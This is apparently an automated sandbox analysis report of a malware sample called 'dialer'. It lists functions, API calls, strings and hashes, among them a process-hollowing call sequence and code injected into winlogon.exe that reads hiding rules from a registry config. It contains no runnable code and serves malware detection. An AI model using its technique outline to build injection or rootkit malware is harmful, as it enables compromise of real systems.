API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

SOFTWARE, xrefs: 0000000140002675
dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 584, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95%
Signature Coverage:	0%
Total number of Nodes:	120
Total number of Limit Nodes:	16

Executed Functions

Function 000001F385BC1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F385BC1633
HeapAlloc.KERNEL32 ref: 000001F385BC1642

Part of subcall function 000001F385BC1268: GetProcessHeap.KERNEL32 ref: 000001F385BC126E
Part of subcall function 000001F385BC1268: HeapAlloc.KERNEL32 ref: 000001F385BC127D
Part of subcall function 000001F385BC1268: GetProcessHeap.KERNEL32 ref: 000001F385BC1297
Part of subcall function 000001F385BC1268: HeapAlloc.KERNEL32 ref: 000001F385BC12A8

RegOpenKeyExW.ADVAPI32 ref: 000001F385BC16B2
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC16DF
RegCloseKey.ADVAPI32 ref: 000001F385BC16F9
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1719
RegCloseKey.ADVAPI32 ref: 000001F385BC1734
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1754
RegCloseKey.ADVAPI32 ref: 000001F385BC176F
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC178F
RegCloseKey.ADVAPI32 ref: 000001F385BC17AA
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC17CA
RegCloseKey.ADVAPI32 ref: 000001F385BC17E5
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1805
RegCloseKey.ADVAPI32 ref: 000001F385BC1820
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1840
RegCloseKey.ADVAPI32 ref: 000001F385BC185B
RegOpenKeyExW.ADVAPI32 ref: 000001F385BC187B
RegCloseKey.ADVAPI32 ref: 000001F385BC1896
RegCloseKey.ADVAPI32 ref: 000001F385BC18A0

Part of subcall function 000001F385BC12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F385BC1319
Part of subcall function 000001F385BC12BC: GetProcessHeap.KERNEL32 ref: 000001F385BC1327
Part of subcall function 000001F385BC12BC: HeapAlloc.KERNEL32 ref: 000001F385BC1338
Part of subcall function 000001F385BC12BC: RegEnumValueW.ADVAPI32 ref: 000001F385BC1397
Part of subcall function 000001F385BC12BC: GetProcessHeap.KERNEL32 ref: 000001F385BC13DF
Part of subcall function 000001F385BC12BC: HeapAlloc.KERNEL32 ref: 000001F385BC13ED
Part of subcall function 000001F385BC12BC: GetProcessHeap.KERNEL32 ref: 000001F385BC140A
Part of subcall function 000001F385BC12BC: HeapFree.KERNEL32 ref: 000001F385BC1418
Part of subcall function 000001F385BC12BC: lstrlenW.KERNEL32 ref: 000001F385BC1421
Part of subcall function 000001F385BC12BC: GetProcessHeap.KERNEL32 ref: 000001F385BC142F
Part of subcall function 000001F385BC12BC: HeapAlloc.KERNEL32 ref: 000001F385BC143D

Strings

paths, xrefs: 000001F385BC1788
service_names, xrefs: 000001F385BC17C3
udp, xrefs: 000001F385BC1874
pid, xrefs: 000001F385BC1712
tcp_local, xrefs: 000001F385BC17FE
startup, xrefs: 000001F385BC16D5
SOFTWARE\dialerconfig, xrefs: 000001F385BC1692
process_names, xrefs: 000001F385BC174D
tcp_remote, xrefs: 000001F385BC1839

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 5a9fcc6cd55dee6a316c52f2010dba24f70424c837c5cf46fdf9dedb95e6d04b
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: D8712A36710A1286EB919F21E8906E92364F7E4BE8F405231FE5E57BACDE3CCA44C344

Function 000001F385BC3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001F385BC379E
GetCurrentProcess.KERNEL32 ref: 000001F385BC37CC
VirtualProtectEx.KERNEL32 ref: 000001F385BC37EE
GetCurrentProcess.KERNEL32 ref: 000001F385BC3809
VirtualProtectEx.KERNEL32 ref: 000001F385BC382A

Strings

wr, xrefs: 000001F385BC37FF

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: ea3d30c06083b22014454e8c8fffd79e95962deda3e2360bae8acdd5a724b91a
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 99113C36704B4282EF959F11E4046B962A0F798BE5F840239EEA9077D8EF3DCA05C708

Function 000001F385BC5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F385BC5B6B
GetThreadContext.KERNEL32 ref: 000001F385BC5CD5

Part of subcall function 000001F385BC5960: GetCurrentThreadId.KERNEL32 ref: 000001F385BC5964

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: a353196f63e3f686d0841e7f12a7e206c81323a03f893301661436a76609e4c4
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 40D19A36205B4981DAB19B06E4913AA77A0F7D8BD5F140226EE9D47BE9DF3CCA41CB04

Function 000001F385BC50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F385BC5156

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: 48e9b6394c2e16e0435a437a14de86af20b7fc3907a494e4619b9524de145d43
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 0A02CA32219B8586EBA1CB55E4903AAB7A0F3D47D5F100125FA9E47BE8DF7CC944CB04

Function 000001F385BC39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001F385BC3A66
VirtualAlloc.KERNEL32 ref: 000001F385BC3AA0

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: e020fba28db42efb86b7b281ff6320db8e868d5782e8dd22b64bfe2f8f0cfe4e
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 74314132219A8581EAB2DB15E0503AE66A0F3D87D4F500635F9DE46BECDF7DCB509B08

Function 000001F385BC328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F385BC32AE
PathFindFileNameW.SHLWAPI ref: 000001F385BC32BD

Part of subcall function 000001F385BC3844: StrCmpNIW.SHLWAPI ref: 000001F385BC385C

Part of subcall function 000001F385BC3790: GetModuleHandleW.KERNEL32 ref: 000001F385BC379E
Part of subcall function 000001F385BC3790: GetCurrentProcess.KERNEL32 ref: 000001F385BC37CC
Part of subcall function 000001F385BC3790: VirtualProtectEx.KERNEL32 ref: 000001F385BC37EE
Part of subcall function 000001F385BC3790: GetCurrentProcess.KERNEL32 ref: 000001F385BC3809
Part of subcall function 000001F385BC3790: VirtualProtectEx.KERNEL32 ref: 000001F385BC382A

CreateThread.KERNEL32 ref: 000001F385BC330B

Part of subcall function 000001F385BC1D14: GetCurrentThread.KERNEL32 ref: 000001F385BC1D1F

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 64b7ee1ffacfb3a96812083a67adc2b6f64ddc7d970daca41989523910d28d47
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 52115E3061060382FBE6AB64E8457F92294A7F43E5F944334BD26825D9EF7DCA449208

Function 000001F385BC4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001F385BC4DF4
VirtualProtect.KERNEL32 ref: 000001F385BC4E37
FlushInstructionCache.KERNEL32 ref: 000001F385BC4E4C

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 4724cafcdfdbfa4d6616eb3151ddc47c4ed22c72909894bd528e3ad7df338f73
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: CAF03036218B05C0D6B1DB01E4417AA6BA0F7D87F4F140225FE9D43BADCA3CCB848B44

Function 000001F385B9273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001F385B927DB
LoadLibraryA.KERNELBASE ref: 000001F385B9285E

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c04cbf0e898960135302cb09ad6b63cbc2f212c8dd94948b103ddf5d24b099a9
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 9E61C136F0169287DF958F6590407B9F392FBA4BA4F948231EE69077C8EB38D952C700

Function 000001F385BC1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F385BC1628: GetProcessHeap.KERNEL32 ref: 000001F385BC1633
Part of subcall function 000001F385BC1628: HeapAlloc.KERNEL32 ref: 000001F385BC1642
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC16B2
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC16DF
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC16F9
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1719
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC1734
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1754
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC176F
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC178F
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC17AA
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC17CA

Sleep.KERNEL32 ref: 000001F385BC1AD7
SleepEx.KERNELBASE ref: 000001F385BC1ADD

Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC17E5
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1805
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC1820
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC1840
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC185B
Part of subcall function 000001F385BC1628: RegOpenKeyExW.ADVAPI32 ref: 000001F385BC187B
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC1896
Part of subcall function 000001F385BC1628: RegCloseKey.ADVAPI32 ref: 000001F385BC18A0

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 10bcb2d6682a129b921ec7b08a8e6ea337be82993633d3c01402af06af3f6023
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 8731FF7120164341FFD69B26D6413F953A4ABE4BF0F045631BE3AA73DDEE28CE518614

Non-executed Functions

Function 000001F385BC2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F385BC2BD0
lstrlenW.KERNEL32 ref: 000001F385BC2E0A

Part of subcall function 000001F385BC199C: OpenProcess.KERNEL32 ref: 000001F385BC19C2
Part of subcall function 000001F385BC199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001F385BC19E0
Part of subcall function 000001F385BC199C: PathFindFileNameW.SHLWAPI ref: 000001F385BC19EF
Part of subcall function 000001F385BC199C: lstrlenW.KERNEL32 ref: 000001F385BC19FB
Part of subcall function 000001F385BC199C: StrCpyW.SHLWAPI ref: 000001F385BC1A0E
Part of subcall function 000001F385BC199C: CloseHandle.KERNEL32 ref: 000001F385BC1A1C

GetProcAddress.KERNEL32 ref: 000001F385BC2BE5

Part of subcall function 000001F385BC152C: StrCmpIW.SHLWAPI ref: 000001F385BC155D

Part of subcall function 000001F385BC3844: StrCmpNIW.SHLWAPI ref: 000001F385BC385C

StrCmpNIW.SHLWAPI ref: 000001F385BC2C28
lstrlenW.KERNEL32 ref: 000001F385BC2D50

Strings

ntdll.dll, xrefs: 000001F385BC2BC9
\Device\Nsi, xrefs: 000001F385BC2C1B
NtQueryObject, xrefs: 000001F385BC2BDB

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
